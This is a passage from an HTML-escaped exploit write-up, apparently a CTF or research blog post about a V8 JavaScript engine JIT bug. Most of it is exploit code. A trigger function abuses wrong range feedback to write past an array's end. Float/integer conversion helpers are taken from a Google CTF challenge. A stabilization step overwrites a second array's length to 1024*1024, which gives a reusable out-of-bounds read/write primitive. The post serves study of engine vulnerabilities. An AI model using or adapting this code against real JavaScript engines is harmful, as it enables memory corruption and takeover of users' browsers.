	&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;		 &lt;span class=&quot;c1&quot;&gt;// feedback: 0&lt;/span&gt;

	&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;arr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;1.1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;1.2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;1.3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;1.4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;1.5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;1.6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;arr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;trigger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
	&lt;span class=&quot;o&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;OptimizeFunctionOnNextCall&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;trigger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;trigger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
	&lt;span class=&quot;o&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;OptimizeFunctionOnNextCall&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;trigger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;trigger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I don’t think I have ever been this happy to see a number as large as
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-1.1885946300594787e+148&lt;/code&gt; in my life :D&lt;/p&gt;

&lt;p&gt;Unfortunately, triggering this bug had been extremely difficult, and
it was fragile, so I decided to spend some time working on stabilizing
this, and making it easier to do OOB RWs.&lt;/p&gt;

&lt;h2 id=&quot;stabilized-oob-rw&quot;&gt;Stabilized OOB RW&lt;/h2&gt;

&lt;p&gt;The initial idea for this is to take a “short” array, use the bug to
overwrite its length, and then provide this new array to the “outside
world”. This way, later stages of the exploit can easily perform
out-of-bounds accesses without needing to trigger the original finicky
bug again.&lt;/p&gt;

&lt;p&gt;In order to perform this stabilization, we need to introduce 2 arrays,
use the first to overwrite the length of the second. In particular, we
will set the length of the second array to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1024 * 1024&lt;/code&gt; so that we
&lt;em&gt;definitely&lt;/em&gt; have enough to overwrite whatever we want.&lt;/p&gt;

&lt;p&gt;Since we need to work with conversions between floats and integers, I
copied the following code from Google CTF 2018’s &lt;a href=&quot;https://github.com/google/google-ctf/blob/master/2018/finals/pwn-just-in-time/exploit/index.html&quot;&gt;“Just In
Time”&lt;/a&gt;
challenge:&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;conversion_buffer&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ArrayBuffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;float_view&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Float64Array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;conversion_buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;int_view&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;BigUint64Array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;conversion_buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;BigInt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;prototype&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;hex&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;0x&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;toString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;BigInt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;prototype&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i2f&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;int_view&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;float_view&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;BigInt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;prototype&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;smi2f&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;int_view&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;float_view&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;Number&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;prototype&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;f2i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;float_view&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;int_view&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;Number&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;prototype&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;f2smi&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;float_view&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;int_view&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;Number&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;prototype&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i2f&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;BigInt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i2f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;Number&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;prototype&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;smi2f&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;BigInt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;smi2f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We can now implement our idea. Since the code had started to get a
little more complex, I also started to add in some small test cases
that will help me figure out if things were going fine or wrong.&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;oob_rw_buffer&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;undefined&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;trigger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;minusZero&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;isstring&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;c1&quot;&gt;// The arrays we shall target&lt;/span&gt;
	&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;1.1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;1.1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;1.1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;1.1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;1.1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;1.1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
	&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;1.1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;1.2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;1.3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;1.4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;1.5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;

	&lt;span class=&quot;c1&quot;&gt;// Trigger the actual bug&lt;/span&gt;
	&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;aux_a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;aux_z&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;1.2&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;aux_a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;aux_z&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;_auxiliary_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;minusZero&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;isstring&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;aux_a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;aux_z&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;	&lt;span class=&quot;c1&quot;&gt;// Real: 1, Feedback type: Range(0, 0)&lt;/span&gt;

	&lt;span class=&quot;c1&quot;&gt;// Move over to the length field for `b`&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;			&lt;span class=&quot;c1&quot;&gt;// feedback: 0&lt;/span&gt;

	&lt;span class=&quot;c1&quot;&gt;// Change the length to 1024 * 1024&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1024&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1024&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;smi2f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

	&lt;span class=&quot;c1&quot;&gt;// Expose OOB RW buffer to outside world, for stage 1&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;oob_rw_buffer&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

	&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;trigger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;1.1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;[FAIL] Unexpected return value in unoptimized trigger&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
	&lt;span class=&quot;o&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;OptimizeFunctionOnNextCall&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;trigger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;trigger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;1.1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;[FAIL] Unexpected return value in first-level optimized trigger&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
	&lt;span class=&quot;o&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;OptimizeFunctionOnNextCall&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;trigger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;trigger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;undefined&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;[FAIL] Unable to trigger bug&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
